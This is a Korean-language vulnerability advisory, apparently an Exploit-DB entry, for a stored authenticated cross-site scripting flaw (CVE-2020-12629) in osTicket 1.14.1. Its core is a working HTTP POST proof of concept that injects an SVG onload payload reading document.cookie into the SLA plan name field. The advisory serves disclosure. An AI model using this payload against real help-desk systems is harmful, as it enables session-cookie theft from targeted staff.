
osTicket 1.14.1 - 지속적인 인증된 크로스 사이트 스크립팅
제목: osTicket 1.14.1 - 지속적인 인증된 크로스 사이트 스크립팅
작성자: Mehmet Kelepce / Gais Cyber Security
날짜 : 2020-03-24
소스 링크: https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12629
Exploit-Db : https://www.exploit-db.com/exploits/48413
공급업체: http://osticket.com
원격 공격 가능: 예
동적 코딩 언어: PHP
CVSSv3 기본 점수: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L)
이 취약점은 소스 코드 검토를 통해 발견되었습니다.
PoC : 티켓 SLA 계획 이름 - HTTP POST 요청
-----
POST /upload/scp/slas.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/upload/scp/slas.php?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Connection: close
Cookie: cookie=3333; OSTSESSID=684d6hn7dfk869kupbhc9hq2qv
Upgrade-Insecure-Requests: 1
submit=Save+Changes&CSRFToken=6174a3343a6277b2e5faae240188d54624a756d7&do=update&a=&id=1&name=%3Csvg+onload%3Dconfirm%28document.cookie%29%3B%3E&isactive=1&grace_period=48&schedule_id=0¬es=
취약한 매개변수: name
매개변수 파일: /scp/slass.php
모든 티켓에 대해 SLA 이름을 사용했습니다.
위험: 대상 사용자의 쿠키 정보가 획득됩니다.